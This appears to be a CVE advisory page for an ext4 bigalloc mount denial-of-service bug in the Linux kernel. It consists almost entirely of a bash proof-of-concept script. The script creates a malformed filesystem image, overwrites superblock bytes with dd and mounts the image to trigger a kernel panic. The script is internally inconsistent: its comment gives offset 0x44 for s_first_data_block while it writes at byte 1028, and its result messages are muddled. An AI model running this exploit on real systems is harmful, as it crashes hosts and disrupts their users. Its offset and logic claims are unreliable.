CVE-2026-31447: Linux内核ext4文件系统挂载拒绝服务漏洞

#!/bin/bash # PoC for CVE-2026-31447: ext4 bigalloc with non-zero s_first_data_block # This script creates a malformed ext4 image and attempts to mount it. IMAGE_FILE="poc_ext4.img" MOUNT_POINT="/mnt/test_poc" # Create a blank image (64MB) dd if=/dev/zero of=$IMAGE_FILE bs=1M count=64 &>/dev/null # Format with ext4 and bigalloc (Cluster size 4096) # Note: mkfs.ext4 typically sets s_first_data_block to 0 or 1024. # We attempt to create a bigalloc filesystem. if command -v mkfs.ext4 &> /dev/null; then mkfs.ext4 -F -O bigalloc -C 4096 $IMAGE_FILE # Modify the superblock to set s_first_data_block to a non-zero value (e.g., 1) # This simulates the unsupported configuration that triggers the bug. # Offset 0x400 is the start of the superblock, s_first_data_block is at offset 0x44 (4 bytes, little-endian). printf '\x01\x00\x00\x00' | dd of=$IMAGE_FILE bs=1 seek=1028 count=4 conv=notrunc &>/dev/null echo "Attempting to mount malformed image..." mkdir -p $MOUNT_POINT # This mount call may trigger a kernel panic or Oops on vulnerable systems. mount -o loop $IMAGE_FILE $MOUNT_POINT if [ $? -eq 0 ]; then echo "Mount succeeded (System likely patched or not vulnerable)." umount $MOUNT_POINT else echo "Mount failed (Expected behavior for patched systems)." fi rm -f $IMAGE_FILE else echo "mkfs.ext4 not found. Cannot generate PoC image." fi